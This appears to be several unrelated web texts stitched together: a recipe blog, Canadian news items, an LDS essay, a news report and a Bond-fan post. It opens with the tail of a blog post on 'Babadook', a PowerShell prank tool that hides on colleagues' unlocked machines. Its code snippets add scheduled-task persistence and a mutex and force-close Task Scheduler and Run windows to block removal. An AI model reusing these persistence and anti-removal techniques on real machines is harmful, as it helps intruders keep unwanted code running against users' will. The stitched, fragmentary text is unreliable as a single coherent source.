'Babadook' , $taskDefinition, 6, $null , $null, 3) | Out-Null } # end :: try/catch } # End :: Install-Task  For more information on Task Scheduler options, check the MSDN Technet documentation.  That was working beautifully until I realized I needed some concurrency control. Of course my “There can be only one” code would kill the competitors but I needed something more elegant and Mutexes came to my mind. Added a code for that also:  # Wait for mutex [bool] $MutexWasCreated = $false $BabadookMutex = New-Object System.Threading.Mutex($true, $BabadookMutexName, [ref] $MutexWasCreated) if (!$MutexWasCreated) { Log "Babadook Mutex found, waiting release..." $BabadookMutex.WaitOne() | Out-Null Log "Babadook Mutex acquired" } else { Log "Babadook Mutex installed" } # end :: if # ... code ... # Release Mutex Log "Releasing Babadook Mutex" $BabadookMutex.ReleaseMutex(); $BabadookMutex.Close();  And of course I needed to prevent them from opening the “Scheduled Tasks” dialog. Since a Stop-Process to the mmc process was giving me “Access Denied” (it runs in some kind of UAC), I needed to take the .NET approach. Modified my “IF” to consider that:  if ($WindowText -eq "Run" -Or $WindowText.Contains( "Properties" ) -Or $WindowText.Contains( "Task Scheduler" )) { [void][apifuncs] ::SendMessage($ForegroundWindow, [apifuncs] ::WM_SYSCOMMAND, [apifuncs] ::SC_CLOSE, 0) } # end :: if  Recap  So far we got:  Connection-less command execution (full powershell language incl. .NET extensions + system()-like with Start-Process )  ) Watchdog / Userkit (userland “root”kit)  Persistence  Concurrency control  And that worked well enough for me :)  It’s not about the money  So if you read until here you might probably been wondering: “Did you really skipped those lunches just to mess up your colleagues?”  Well, kinda. It was a great learning and they surely got the message. No one now leaves their session unlocked. :)  When the news hit my team leader (how they called the Boss at the company) he saw this was a good way to show upper management and the other teams the dangers of an insider, how basic malware works and escalated the Babadook as a truly internal awareness program, so it turned out to be a great deal for everyone (except for a few really pissed off teammates).  Code  As always, you can get the Babadook source at my github.
-The thing about travelling to amazing places and spending all your time absorbing new sights and sounds and smells is that sometimes you get homesick. This past weekend, homesickness crept up and surprised me in the middle of a trip to the French countryside where the landscape was so beautiful it felt like we were walking through a painting: wide expanses of green fields and forests, medieval stone barns dotted throughout, rotting rose vines climbing 12 century churches, rolling hills of champagne vineyards, old wooden farm houses with crooked stairs, and a heavy fairytale fog. It happens; for reasons I cannot explain, the experience of true beauty – in life or art – often makes me feel sad and achey in my bones. But this was different. I was at the top of La Tour Cesar looking over the red rooftops of the medieval town of Provins when I suddenly thought that I would give it all up – all this beauty, all this wonderful experience – for a chance to be back in my old apartment in Vancouver with my old bed and my old house plants, listening to the sounds of the port to fall asleep. The memories made my stomach turn over and I thought I might cry in front of all my new road trip companions, but I didn’t. Instead I spent a good chunk of the next two hours chastising myself for feeling homesick. It felt like betrayal, like I wasn’t as grown up as I thought I was, or that I was ungrateful or overly sensitive or weak.  Now that I’m back in the city and thinking clearly in the absence of intense stimuli, I realize that it is perfectly normal to feel homesick when moving to a foreign country. Even Gertrude Stein, who lived in Paris for most of her adult life, was homesick for America sometimes! This I know because I brought Alice B. Toklas’s cookbook/memoir along with me for the trip, and as it turns out, most of her recipes are concerned with recreating American dishes in France for Gertrude, who missed American food. If I had been reading this book while still living in Canada, I would have thought it was crazy to prefer chicken pot pie to duck confit, but I think I get it now. After being turned away from the one restaurant in town, my road trip companions and I decided to make a feast in our Airbnb on Saturday night, each taking on a dish that we knew how to make well. By some miracle, I was assigned dessert, and so I found myself in an ancient farmhouse in the middle-of-nowhere France with a bunch of strangers (and Anthony) throwing together an apple crisp – a Grandma Tien standard – in an old French tart tin. It wasn’t fancy and it wasn’t French, and I didn’t even have the exact measurements on hand, but the act of baking that simple dish that reminded me so much of home, and then seeing people enjoy it fresh out of the oven, cured my homesickness. I suddenly understood the value of “comfort” food on a whole new level. And besides that, I realized how much I had changed from the girl of a few years ago who got most of her nutrition from frozen pizzas. I’m now someone whose emotional life depends on cooking, at least a little bit. Cooking, as Gertrude Stein, Alice B. Toklas, and countless other writers and chefs have realized before me, is a way to travel – abroad or home. It’s kind of magical.  All this is to say that, after making that apple crisp in the countryside last weekend, I was inspired to make another one when we got back to Paris, but with different flavours: peach and basil. That’s the thing about crisps (or crumbles, according to some); the ingredients are probably already in your cupboard, they’re easy as sin to make, and they only benefit from improvisation! The perfect kind of recipe, in my opinion. The idea for a peach basil crisp comes courtesy of reddit, of course, where I got lost in a vortex of unique flavour pairings for stone fruit. But it’s also because peaches remind me of childhood trips to the Okanagan, where fruit stands selling fresh peaches and cherries lined the road. Growing up in Alberta, a ripe peach was a miracle to behold and so the mouth-feel memories of those BC peaches are still strong in me.  I don’t know about you, but I have never eaten peaches and basil together in the same dish. Now that I’ve tried it, I can’t believe I’ve lived 27 years without it. The basil makes the peaches taste like a whole new fruit. In this peach basil crisp, the basil is subtle, but game changing. The mascarpone adds a level of richness that just can’t be compared to regular whipped cream (although whipped cream or ice cream would be a fine substitute if you can’t get your hands on mascarpone). I opted for mascarpone as a topping because the basil was offering a savoury vibe and I knew the peaches were so ripe that the crisp would be hella sweet on its own. Mascarpone almost has the texture of cream cheese; when paired with basil, this crisp is almost a pizza. Weird? No, just very, very yummy.  This peach basil crisp is the perfect no-fuss, knock your socks off, post dinner on the balcony with a glass of chilled rosé summer dessert, whatever place in the world you’re currently inhabiting. I pretty much beg you to try it, especially if you’re a prairie person aching for some of those prairie skies and grandma home-cooked vibes. The directions I’ve laid out here are extremely flexible. At its heart, a crisp is just one layer of fruit topped with a layer of crumble. So don’t worry if you’re missing the exact right size of pan or number of peaches, etc.  You can eat now!  PS: Because it was dreamed up in the medieval countryside, where sheep actually still have shepherds, etc., I flirted with calling this peach basil crisp the “Pastoral Peach Crisp”. However, Google’s algorithms know better than me. You should call it the Pastoral Peach Crisp though, if you want.  PPS: The Alice B. Toklas Cookbook  Peach Basil Crisp with Mascarpone 2016-06-08 10:47:10 Serves 6 Write a review Save Recipe Print Prep Time 30 min Cook Time 30 min Total Time 1 hr Prep Time 30 min Cook Time 30 min Total Time 1 hr Filling 8 peaches 2 tbsp fresh basil zest of 2 small lemons 2 tablespoons granulated sugar couple pinches of coarse salt Crisp 2/3 cup oats 2/3 cup slivered almonds 2/3 cup brown sugar 1/2 cup + 2 tbsp flour 6 tbsp cold butter mascarpone or whipped cream (for serving) Instructions Preheat your oven to 400 degrees Fahrenheit. For the filling Wash and slice peaches lengthwise. Assemble peaches evenly in a 10-inch tart pan. Sprinkle sugar, lemon zest, salt and basil (tear the leaves if they are too large) over the peaches. For the crisp Combine all ingredients (except mascarpone) in a large bowl, rubbing the butter in with your fingers until mixture is crumbly. Crumble over top of the peaches. Bake until mixture is bubbling and topping is golden brown, about 30 minutes. Best served immediately, but also good chilled. Notes Peach basil crisp can stay in the fridge for up to 3 days, covered, without getting too soggy. If it's anything like the rhubarb or apple crisps I am used to eating, you should be able to freeze peach basil crisp for a really long time. Don't worry too much if the peaches leak a lot of liquid at the bottom of the dish during the cooking process. It tastes almost like syrup if you spoon it on top of individual portions. Alternatively, it also seems to go away after a day in the fridge. This peach basil crisp can easily be made gluten-free by subbing regular oats for gluten free oats and flour for almond flour (or just an entire crust of slivered almonds) or vegan by omitting the mascarpone and subbing butter for some cold coconut oil. You Can Eat Now http://www.youcaneatnow.com/  Did you make this recipe?We want to know how it turned out! Share a photo on Instagram and use the hashtag #youcaneatnow
-The Great Gulf real estate group is buying a high-profile, high-rise development in Toronto's entertainment district from Ed Mirvish Enterprises.  The Mirvish+Gehry project currently calls for two towers — one 82 storeys and the other 92 storeys — near the Princess of Wales theatre on King Street West.  Terms of the transaction weren't disclosed in Monday's announcement.  The initial proposal announced in 2012 called for the demolition of the theatre — one of several venues owned by the Mirvish family — to make room for a third tower.  Mirvish has scaled back the scope of the development in response to local objection to the height and density of the development, which will include retail, office, institutional, hospitality and condominium suites in downtown Toronto.  The Princess of Wales Theatre was slated for demolition in the original plan. In 2014, the plan was re-worked to allow the theatre to stay.  The area is home to some of Toronto's major entertainment venues including the Bell Lightbox, which is home to the Toronto International Film Festival, Roy Thomson Hall and the Mirvish-owned Royal Alexandra theatre.
-Note: This is not a response to Denver Snuffer’s polygamy essay. That response is found here. See also Examining-DenverSnuffer.com.  A Response to Denver Snuffer  By Brian C. Hales  In 2013, Denver Snuffer and I exchanged several emails and met for lunch. He is an impressive scholar with an extraordinary knowledge of the gospel and the scriptures. We had a spirited discussion and parted as friends. Neither of us was dissuaded by the arguments presented by the other.  In March of 2015 Snuffer posted a long essay where he explains his views on polygamy.[1] In it he states: “Brian Hales invited me to participate with him in jointly writing a book.” I recall chatting with him about the possibility. My willingness to co-author a polygamy paper with him was because my participation would have required him to stay close to the evidences (which I have in my database), thus preventing him from misrepresenting early Church history.  I knew Denver had a following of perhaps hundreds or more. I had read his publications and believed them to be in error. I naively hoped that I might help him reorient to the truth. Even now I wish sincerely that this post and critique of Denver’s writings was not necessary.  Having read several of Denver Snuffer’s writings, I am saddened by his interpretations because he expresses such extreme views of ambiguous evidences and entirely ignores documents that contradict his explanations. Rather than address his claims point-by-point, I will offer some broader observations and then appeal to the fact that Snuffer has no genuine priesthood authority and consequently, cannot perform saving ordinances. So it would seem that his message is empty. Joseph Smith explained that there is “no salvation between the two lids of the bible without a legal administrator.”[2] Neither is there salvation in the opinions of men and women, no matter how eloquent they are presented.  This essay will address three basic problems with his religious claims: (1) his willingness to publicize his reported divine experiences; (2) his willingness to criticize Church leaders; (3) his assertion that genuine priesthood authority is not currently needed.[3]  Denver Snuffer Publicly Reports Seeing the Savior  For several years in his writings, conversations, and in speaking opportunities, Denver Snuffer has shared remarkable claims with his audiences reporting that he has experienced personal interviews with Jesus Christ and has heard “His own voice.”[4] By making such claims, Snuffer joins a group of dozens of other dissenters who have made similar or even more exotic claims during the past 100 years. Included are men such as Moses Gudmundson, John T. Clark, Lorin Woolley, Joseph W. Musser, Elden Kingston, Francis Darter, Leroy Wilson, Rulon C. Allred, Alex Joseph, Samuel Eastman, Paul Feil, John Bryant, Elden Hollis, Sherman Russell Lloyd, Frank Miller, Robert C. Crossfield, Maurice Glendenning, Gerald Peterson, James D. Harmston, Ben, Ross, Joel and Ervil LeBaron, Ron Lafferty, and Brian David Mitchell. Were we to expand this list to include the nineteenth century, it would at least double in length. In short, claiming divine manifestations has been a common behavior among dissidents since the Church was first organized.  This finding is not surprising. Joseph Smith warned:  Behold, verily I say unto you, that there are many spirits which are false spirits, which have gone forth in the earth, deceiving the world. And also Satan hath sought to deceive you, that he might overthrow you. (D&C 50:2-3.)  These scriptures state that men can be deceived and will be deceived if they are not careful. Joseph also predicted: “For in those days, there shall also arise false Christs, and false prophets, and shall show great signs and wonders; insomuch that, if possible, they shall deceive the very elect, who are the elect according to the covenant” (JST Matthew 24:23).  Brigham Young encountered such individuals: “Many come to me and tell me what wonderful visions they have–that their minds are open to eternal things–that they can see visions of eternity open before them and understand all about this kingdom.”[5] How did he respond? With tongue-in-cheek he reported:  I say to such persons, Go ahead, and get all the revelations you can. If brother Joseph visits you every night, go ahead, and tell him to bring brother Hyrum, father Smith, Don Carlos Smith, St. Paul, Peter, James, and John, and Jesus Christ, if you can induce him to do so. . . Hell is full of such revelations.[6]  Then he explained his personal reaction:  I never notice them much. I sit and hear them talk about their wonderful knowledge, but it passes in and out of my ears like the sound of the wind. It is for me to see to this kingdom, that it is built up, and to preserve the Saints from the grasp of the enemy. The visions of the class I have mentioned are nothing to me. They may exhibit their great knowledge before me; but when they have done, it is all gone from me.[7]  For Denver Snuffer or any worthy Latter-day Saint to view God is not the problem. According to Joseph Smith’s revelations, seeing the Lord is a blessing to be sought after. We are to “seek the face of the Lord always” (D&C 101:38). Those who make themselves worthy are promised that “the veil shall be rent and you shall see me and know that I am” (D&C 67:10, see also 93:1). But “it shall be in his own time, and in his own way, and according to his own will” (D&C 88:68).  I have known individuals who have indicated to me in private conversations that they have experienced fulfillment of these promises in their lives. Nevertheless, one difference between them and Denver Snuffer is his willingness to share his experiences widely. The scriptures instruct:  It is given unto many to know the mysteries of God; nevertheless they are laid under a strict command that they shall not impart only according to the portion of his word which he doth grant unto the children of men, according to the heed and diligence which they give unto him. (Alma 12:9.)  Remember that that which cometh from above is sacred, and must be spoken with care, and by constraint of the Spirit; and in this there is no condemnation. (D&C 63:64.)  These verses tell us that while sacred communications may come, they are “laid under a strict command” and must be “spoken with care.” Joseph Smith further instructed: “The reason we do not have the secrets of the Lord revealed unto us is because we do not keep them but reveal them, we do not keep our own secrets but reveal our difficulties to the world even to our enemies then how would we keep the secrets of the Lord Joseph says I can keep a secret till dooms day.”[8] Brigham Young taught similarly:  The Lord has no confidence in those who reveal secrets, for He cannot safely reveal Himself to such persons. It is as much as He can do to get a particle of sense into some of the best and most influential men in the Church, in regard to real confidence in themselves. They cannot keep things within their own bosoms.[9]  Denver Snuffer reported seeing the Savior. If it was a true revelatory experience, it would have accompanied a mandate to keep it sacred. Why? Because serving as God’s mouthpiece to the Church is not his calling. However, a false revelation would carry no similar mandate, but would likely be empowered by a spirit encouraging a public disclosure and perhaps motivating a gathering of like-minded individuals.  It is true that hold the office of an Apostle is be “special witnesses of the name of Christ in all the world” (D&C 107:26; italics added), which accurately describes members of the quorum of the Twelve today. Elder Boyd K. Packer explains: “We do not talk of those sacred interviews that qualify the servants of the Lord to bear a special witness of Him, for we have been commanded not to do so. But we are free, indeed, we are obliged, to bear that special witness.”[10]  These testimonies are plain to those who are diligently watchful. For example, in a 1971 General Conference Elder Boyd K. Packer reported:  I have heard one of my brethren declare: “I know from experiences, too sacred to relate, that Jesus is the Christ.” I have heard another testify: “I know that God lives; I know that the Lord lives. and more than that, I know the Lord.”[11]  Years later Elder Russell M. Nelson testified in General Conference:  As a special witness of Jesus Christ, I testify that He lives! I also testify that the veil of death is very thin. I know by experiences too sacred to relate that those who have gone before are not strangers to leaders of this Church.[12]  In General Conference April 2014, Boyd K. Packer, President of the Quorum of the Twelve Apostles, stated plainly: “I bear my witness that the Savior lives. I know the Lord.”[13]  It is unfortunate the Snuffer has broadcast his reported visions to the world, because if they were true manifestations, he would not be commissioned to do so. If they are false, then it is even more unfortunate.  Denver Snuffer Criticizes the Church and its Leadership  In his book, Passing of the Heavenly Gift, Denver Snuffer assures his readers that the Church has “abandoned doctrine” and that the “underlying religion” established by Joseph Smith has been “curtailed.” He further criticizes: “Today, marketing the institution has become more important to Mormon success than preserving the original content.” [14]  Snuffer is entitled to his own opinion, but he sounds like dissenters of previous eras. In fact Joseph Smith encountered individuals with claims like Snuffer’s as early as 1830. Via a seer stone, Hiram Page was receiving his own revelations that contradicted Joseph’s. The Lord instructed: “And again, thou shalt take thy brother, Hiram Page, between him and thee alone, and tell him that those things which he hath written from that stone are not of me and that Satan deceiveth him” (D&C 28:11). Two and a half years later, Joseph wrote to a missionary, Elder Jared Carter, regarding a member who had received a special vision of their own:  Dear Brother Carter; Your letter to Bro. Jared is just put into my hand, and I have carefully perused its contents, and embrace this opportunity to answer it. We proceed to answer your questions: first concerning your labor in the region where you live; we acquiesce in your feelings on this subject until the mouth of the Lord shall name; and, as it respects the vision you speak of, we do not consider ourselves bound to receive any revelation from any one man or woman without their being legally constituted and ordained to that authority, and given sufficient proof of it.  I will inform you that it is contrary to the economy of God for any member of the church, or any one, to receive instruction for those in authority, higher than themselves, therefore you will see the impropriety of giving heed to them: but if any have a vision or a visitation from a heavenly messenger, it must be for their own benefit and instruction, for the fundamental principles, government, and doctrine of the church is vested in the keys of the kingdom.[15]  This letter was published in the Church’s Times and Seasons. It explains that God would never inspire Denver Snuffer or Brian Hales to correct “those in authority” with “higher” callings we might possess at any particular moment.  Prophet also counseled: “I will give you one of the keys of the mysteries of the kingdom. It is an eternal principle that has existed with God from all Eternity that that man who rises up to condemn others, finding fault with the Church, saying that they are out of the way while he himself is righteous, then know assuredly that that man is in the high road to apostacy and if he does not repent will apostatize as God lives.”[16] As applied to Denver Snuffer, Joseph’s counsel is actually prophetic.  Denver Snuffer justifies his criticisms of the Church by asserting that “the passing of the heavenly gift was anticipated by Joseph Smith’s prophecies and the Book of Mormon.”[17] His claims are curious because there is no plain prophecy of a latter day apostasy in the Book of Mormon. It is true that several passages clearly predict an apostasy 400 years after Christ’s visitation to the Americas. For example, Alma prophesied: “Behold, I perceive that this very people, the Nephites, according to the spirit of revelation which is in me, in four hundred years from the time that Jesus Christ shall manifest himself unto them, shall dwindle in unbelief” (Alma 45:10). Many other prophets referred to this apostasy.[18] That the truth would be lost from the Lehites and they would “dwindle in unbelief” was a huge issue for God’s leaders in the Book of Mormon.  In contrast, we find no similar prophesies or references to an apostasy that was to occur after the Restoration. A few verses can be construed to possibly hint at such, but those passages can be applied to men like Snuffer as well, if not with greater applicability. Neither do they validate a wholesale dwindling in unbelief of the entire membership of the Church formed by Joseph Smith.  Denver Snuffer’s Teachings Regarding Priesthood Authority  Denver Snuffer articulately outlines his theories describing how the Church and its leaders are in apostasy. Inherent in his discussion is the implication that he is not. That is, Denver has the truth that he affirms the Church has lost. However, the problem for him and all dissenters who proclaim this view is priesthood authority. They can leave the Church, but they can’t take their priesthood with them for two reasons. First, they have proclaimed the Church has apostatized, so that would generally include a loss of priesthood, which was the source of the dissenter’s ordination. Some will affirm that the Church has apostatized, but their personal ordinations are still valid and then attempt to utilize them although they have been excommunicated. This is because excommunication or being “cut off” from the Church ends a man’s priesthood (D&C 85:11).  The second reason deals with priesthood keys. God’s house is a house of order (D&C 132: 8, 18). This order is maintained by one man who holds the keys of the priesthood. Joseph explained: “there is never but one on the earth at a time on whom this power and the keys of this priesthood are conferred” (D&C 132:7).  The keyholder is to “be like unto Moses” (D&C 107:91), to serve as God’s prophet and mouthpiece on earth. The “one” man is the President of the High Priesthood[19] and presides over the “Presidency of the High Priesthood,” which is the highest “council of the Church” (D&C 107:9, 78-79) unto whom is given the “keys of the kingdom” (D&C 81:2, 90:2-6).[20]  KEYS HELD BY THE “ONE MAN”  Keys of Sealing (D&C 132:7)  Keys of the Gathering of Israel (D&C 110:11)  Keys of the Dispensation of the Gospel of Abraham (D&C 110:12)  Keys of the Powers of the Holy Priesthood (D&C 128:11)  Keys of the Kingdom (D&C 81:2)  The Prophet wrote: “For him to whom these keys are given there is no difficulty in obtaining a knowledge of facts in relation to the salvation of the children of men, both as well for the dead as for the living” (D&C 128:11; italics added).  In 1845 Brigham Young clarified: “Joseph said that the sealing power is always vested in one man, and that there never was, nor never would be but one man on the earth at a time to hold the keys of the sealing power in the Church. That all sealings must be performed by the man holding the keys or by his dictation, and that man is the President of the Church.”[21]  In 1857 Heber C. Kimball taught: “You Bishops, Seventies, High Priests, Elders, Priests, Teachers, Deacons, and members, where did you get the Priesthood and authority you hold? It came from this very authority, the First Presidency that sits here in this stand. There was an authority before us, and we got our authority from that, and you got it from us, and this authority is with the First Presidency.” Then he warned: “Now do not go off and say that you are independent of that authority.”[22]  That one man held the keys has been observed from Joseph Smith until today. While in Nauvoo, Hyrum Smith, the Prophet’s brother and Associate President and Church Patriarch, attempted to seal a marriage without Joseph’s approval. Two years later, in 1845, Brigham Young recalled the event:  “Joseph said that the sealing power is always vested in one man, and that there never was, nor never would be but one man on the earth at a time to hold the –sealing power- keys of the sealing power in the church, that all sealings must be performed by the man holding the keys or by his dictation, and that man is the president of the church. . . . Hyrum [Smith] was counseller . . . but the sealing power was not in Hyrum, legitimately, neither did he act on the sealing principle only as he was dictated by Joseph in every case This was proven, for Hyrum did in one case undertake to seal without counsel, & Joseph told him if he did not stop it he would go to hell and all those he sealed with him.” (Brigham Young to William Smith, “City of Joseph, Aug 10th 1845,” in Brigham Young Collection, CHL, CR 1234/1.)  In 1847, W.W. Phelps served a mission to the eastern states where he married three wives polygamously. His mission companion, Henry B. Jacobs, performed the marriages without first obtaining permission from President Young. Phelps returned to Winter Quarters, Iowa, with his three new “wives.” Brigham Young heard the story and addressed Phelps: “You have been living in adultery – [N]o man can have the 2nd woman unless he ha[s] the consent of the man who holds the sealing power…” He also remarked: “[I]f bro Phelps had told us last Spring that he was going to bring a girl – I wo[ul]d. have given her to you & [would have been] glad to do it.”[23] Phelps was excommunicated on December 6, 1847 but was quickly rebaptized after acknowledging his misunderstanding. Nevertheless, the most important observation is that President Young plainly acknowledged himself as the keyholder, the one man on earth who could authorize eternal sealings.  Despite the clarity of these teachings, Snuffer has adopted a novel approach to circumvent the knotty problem of no priesthood outside of the Church:  The church’s ordinations and ordinances remain vital to the restored Gospel, and the plan of salvation. Whether or not there is any person in the church with priesthood power, every person who joins the church, and keeps its ordinances will be invited through those ordinances, to come and receive the Lord.[24]  It appears Snuffer believes that ordinances performed without genuine priesthood power would still be valid, that is, someone could still “keep” such ordinances and be blessed for it. Joseph Smith would have undoubtedly condemned such notions (D&C 22:1-4). Furthermore, such teachings create disorder by allowing sincerity to trump authentic authority. And sincerity can be deceptive. How readily do people embrace a self-deception as they view the image in the mirror as being more worthy and more filled with light than is actually the case? “O the vainness, and the frailties, and the foolishness of men! When they are learned they think they are wise, and they hearken not unto the counsel of God, for they set it aside, supposing they know of themselves, wherefore, their wisdom is foolishness and it profiteth them not. And they shall perish” (2 Nephi 9:28).  Summary  Following a long line of dissenters and critics of The Church of Jesus Christ of Latter-day Saint, Denver Snuffer offers another alternate interpretation of Joseph Smith’s teachings. As a lawyer, he writes with conviction, logic, and the persuasive power that we would expect from a seasoned attorney-at-law. However, the message he sends is problematic when contextualized within the Prophet’s teachings.  Snuffer reports that the Savior has appeared to him telling him the Church is in apostasy and in subtle ways, giving him God’s latest word to the people.  The primary problem is that within Joseph Smith’s teachings, this would never happen. Joseph’s God is all-powerful and fully capable of keeping an orderly house. His God is also all-knowing and able to call Church leaders to their proper positions according to the divine timeline and to call them home if a need for change were to arise. Raising up a new prophet from the rank-and-file membership would never be needed. In plain language, Joseph Smith explained that God does not inspire a man or woman to correct those with a higher calling. Any other teaching would result in confusion, not order. Such confusion is readily apparent among dissenters generally.  Denver Snuffer’s situation is even more distanced from Joseph Smith’s teachings as he struggles to deal with his lack of priesthood authority. Joseph taught that genuine authority was always needed. No exceptions. But Snuffer doesn’t have any authority and has yet to claim a new dispensation of authority. That may yet come as his condemnation of the Church rises in pitch and volume. Many other dissenters in the past have followed this course and gathered a following around them claiming new revelation and eventually even new priesthood powers. Time will tell.  See also “Dissenters: Portraying the Church as Wrong So They can be Right Without It.”  [1] http://denversnuffer.com/wp/wp-content/uploads/2015/04/Plural-Marriage.pdf.  [2] Ehat & Cook, Words, Joseph Smith Diary, by W. Richards: 23 July 1843 (Sunday Afternoon), p.235.  [3] For a more detailed response to his teachings, click http://en.fairmormon.org/Category:Denver_Snuffer  [4] Denver Snuffer, “Preserving The Restoration,” Lecture 10, Mesa, Arizona (9 September 2014), 4. http://www.scribd.com/doc/239760895/10-Phoenix-Transcript-Preserving-the-Restoration#download  [5] Journal of Discourses, Vol.5, p.352, Brigham Young, October 25, 1857.  [6] Journal of Discourses, Vol.5, p.352, Brigham Young, October 25, 1857.  [7] Journal of Discourses, Vol.5, p.352, Brigham Young, October 25, 1857.  [8] Ehat & Cook, Words, Wilford Woodruff Diary: 19 December 1841 (Sunday), p.80–p.81  [9] Journal of Discourses, Vol.4, p.288, Brigham Young, March 15, 1857  [10] Conference Report, April 1980, p. 86. See also Alma 12:9, HC 4:478-479 and JD 4:288.  [11] Ensign, June, 1971, p. 88.  [12] Ensign, May, 1992, p. 74  [13] Boyd K. Packer, “The Witness,” General Conference (webpage), accessed April 20, 2014, https://www.lds.org/general-conference/print/2014/04/the-witness?lang=eng&clang=eng.  [14] Denver C. Snuffer, Jr., Passing the Heavenly Gift, Salt Lake City: Millcreek Press, 11, back cover.  [15] “History of the Church,” Times and Seasons, 5 (January 1, 1844) 752.  [16] Ehat & Cook, Words, Willard Richards Pocket Companion: 2 July 1839 (Tuesday), p.413.  [17] Denver C. Snuffer, Jr., Passing the Heavenly Gift, Salt Lake City: Millcreek Press, 11, back cover.  [18] See 1 Ne. 12:12-22, 13:35, 2 Nephi 1:10, Alma 45:12, Helaman 13:5, 9–10, 15:11, 3 Nephi 21:5, Mormon 8:6, 9:20, Moroni 10:1.  [19] Some fundamentalist writers refer to an office of “President of the Priesthood” or more commonly “President of Priesthood.” However, no such office or calling is mentioned in the scriptures or in any of the teachings of Joseph Smith, Brigham Young and John Taylor etc. Only the “President of the High Priesthood” is discussed.  [20] See also Matthew 16:19.  [21] Letter to William Smith, 10 August 1845, Brigham Young Collection. In E. Gary Smith, “Patriarch Crisis of 1845,” 34; J. Max Anderson, “Mormon Fundamentalism,” section: Joseph F. Smith.  [22] JD 4:251-252.  [23] Minutes of the Apostles of The Church of Jesus Christ of Latter-day Saints, 1835-1893, Salt Lake City: Privately Published 2010, 130  [24] Denver C. Snuffer, Jr., Passing the Heavenly Gift (Salt Lake City: Mill Creek Press, 2011), 37, italics added.
-Following an unusually cold early spring, the National Capital Commission announced Tuesday that the Gatineau Park parkways network will be fully reopened to motor vehicles by May 8.  The Luskville Falls access road will be first, scheduled to open again at noon on May 1.  The remainder of the roads — the Gatineau Lake parkway, Champlain Lake parkway, Fortune Lake parkway, Philippe Lake parkway and the La Pêche Lake access road — will reopen an noon on May 8.  The parkways provide access to such scenic sites as Pink Lake, the Champlain Trail and the Mackenzie King Estate.  The NCC also announced that designated mountain bike trails are scheduled to reopen in Gatineau Park on May 15.  NCC officials said in statement that the continued cold weather into April had delayed maintenance crews from accessing the roads until now.
-President-elect Donald Trump (L) and United Steelworkers Local 1999 president Chuck Jones (R). John Moore/Getty Images/CNN Chuck Jones, a union leader who accused President-elect Donald Trump of misrepresenting the scope of an agreement to preserve some manufacturing jobs in Indiana, says he has been receiving threatening phone calls.  Jones told the Washington Post on Wednesday night that the threatening calls started after Trump tweeted him by name the same night, accusing Jones of "doing a terrible job" in his role as president of the United Steelworkers Local 1999 union.  Trump, who is apparently busy setting up his Cabinet before his inauguration on January 20, sent another searing tweet: "If United Steelworkers 1999 was any good, they would have kept those jobs in Indiana. Spend more time working-less time talking. Reduce dues," he said.  Jones told the Post's Danielle Paquette that his phone began ringing constantly a half-hour after Trump tweeted the insults.  "One voice asked: What kind of car do you drive? Another said: We're coming for you," the Post reported.  In an interview with MSNBC, Jones said some of the threats were more specific:"Nothing that says they're gonna kill me, but, you know, you better keep your eye on your kids ... We know what car you drive. Things along those lines."  Despite the numerous threats, Jones said he is not worried:  "I've been doing this job for 30 years, and I've heard everything from people who want to burn my house down or shoot me ... So I take it with a grain of salt and I don't put a lot of faith in that, and I'm not concerned about it and I'm not getting anybody involved. I can deal with people that make stupid statements and move on."  Late Wednesday, tweets from Vice President-elect Mike Pence showing support for Jones earlier this year began circulating on social media. Pence tweeted in March: "Appreciate the chance to meet w/ Chuck Jones & hardworking men of Local 1999 about our efforts to save Carrier jobs."
-CHRIS  Favourite Bond Film?  For me there have been five Bond films that have stood on this hallowed pinnacle of Bond stardom. The original, and still a firm favourite, is Thunderball. This is the Bond film I have undoubtedly watched more than any of the others. In fact, I really couldn’t estimate how many times I’ve seen it. It has always been my Dad’s favourite Bond film after he went to see it in the cinema in ’65 and I guess I appreciated it’s glossy, exotic and adventurous feel in equal measure. I remember countless times going to the local swimming pool and re-enacting any number of underwater scenes from the film and it still holds a dear place in my heart. I even went dressed as Bond from Thunderball in primary school when I was 6 years old and did a talk in front of everyone in assembly… if only I could find the photo!! (P.S. It was fancy dress day, I wasn’t the only one dressed up!)  I believe Goldfinger was my next number one Bond. A film that has absolutely everything in a Bond that you want and without doubt scores the highest number of iconic scenes in any one film in the series ~ Goldfinger, OddJob, Pussy Galore, glittering Jill Masterson, DB5, Golf game, laser scene, Fort Knox… the list is endless. It quite clearly set the standard and continues to do so.  Hot on the heels of Goldfinger came From Russia with Love. In my younger years I didn’t have as much respect for this film as I do today. The script is complex but infallible and holds some extremely classy moments which Connery throws down with his usual effortless swagger. In Grant and Klebb we have two of the best psychotic villains in the series and the Bond vs Grant train fight is simply breathtaking. For me this film is right up there.  My next choice was probably the fifth film that held the title of my favourite Bond and has, in recent years, often swapped places with the fourth film to gain the hotspot which also happens to be my current number one title holder. It is, of course, Casino Royale. This film got so many things right on so many levels and literally just writing about it is giving me a tingly feeling all over. The characterisation in this film is expertly portrayed and it seems to have such a perfect balance between action, drama, humour, emotion and intelligence. It was a reboot that actually worked and not just worked but excelled beyond expectation. Already I can’t wait until the next time I watch it!  However, my current number one James Bond film is so brilliant it’s a wonder I don’t have it playing on eternal loop whenever I’m in the house. It’s one of the few that I didn’t have on VHS when I was younger and I’d love to think what a 6 year version of me would’ve thought about watching it for the first time. Currently, the best James Bond film for me is the utterly enthralling On Her Majesties Secret Service. The respect I’ve got for that film is immense! It is the most hard-hitting of all the Bonds, has the best action sequences, the best soundtrack, the best Bond girl in Tracey Di Vicenzo, a classy villain in Telly Savalas’s Blofeld, great humour, my favourite Bond location, a bevy of Bond beauties, an Aston Martin, a great ally in Draco and a fabulous portrayal of Bond by Lazenby. (If only he’d made more!) It is also supremely close to the Fleming novel which helps to elevate it to another level. Not to mention the fact that it holds the mantle as the best Christmas film ever made, closely followed by Die Hard, Home Alone and It’s a Wonderful Life!  As for the future, who knows? But right at this moment OHMSS gets me more excited than any other Bond film and ultimately gets my vote! J  Favourite Bond Book?  This is an interesting question as I’m soon to embark on a Fleming Bond-athon over the coming months so it will be interesting to see if my decision changes at all after going through them again. For now though, I’d have to go with From Russia with Love. I loved the fact that so much attention was paid to the character of Grant and how the inevitable matchup between Bond and Grant turned into one hell of a showdown. I thought this was one of Fleming’s cleverest Bond novels. Tatiana Romanova was a fantastic Bond girl and the ending of Bond possibly dead from Klebb’s poisoned shoe was inspired.  Other notable mentions go to Casino Royale, Moonraker and On Her Majesties Secret Service. All three of the above are first class thrillers and Fleming’s writing seems to shine while reading them.  Favourite Bond Girl?  Wow this is a tricky question! I guess you could come at it from a couple of angles. Are we asking who is our 